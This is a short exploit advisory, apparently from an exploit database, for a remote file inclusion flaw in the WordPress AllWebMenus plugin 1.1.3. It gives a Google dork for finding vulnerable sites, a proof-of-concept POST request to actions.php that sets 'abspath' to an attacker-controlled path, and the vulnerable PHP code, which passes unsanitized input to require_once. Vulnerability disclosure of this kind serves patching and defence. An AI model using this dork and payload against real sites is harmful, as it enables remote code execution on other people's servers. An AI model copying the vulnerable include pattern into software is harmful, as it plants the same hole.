Wordpress AllWebMenus Plugin 1.1.3 - Remote File Inclusion

# Exploit Title: Allwebmenus Wordpress Menu Plugin Wordpress plugin RFI # Google Dork: inurl:wp-content/plugins/allwebmenus-wordpress-menu-plugin # Date: 09/19/2011 # Author: Ben Schmidt (supernothing (AT) spareclockcycles.org @_supernothing) # Software Link: http://wordpress.org/extend/plugins/allwebmenus-wordpress-menu-plugin/download/ # Version: 1.1.3 (tested) --- PoC --- http://SERVER/WP_PATH/wp-content/plugins/allwebmenus-wordpress-menu-plugin/actions.php POST="abspath=RFI" --- Vulnerable Code --- /** Loads the WordPress Environment and Template */ if (!isset($_POST["abspath"])) die(); require_once(urldecode((string) $_POST["abspath"].'wp-blog-header.php'));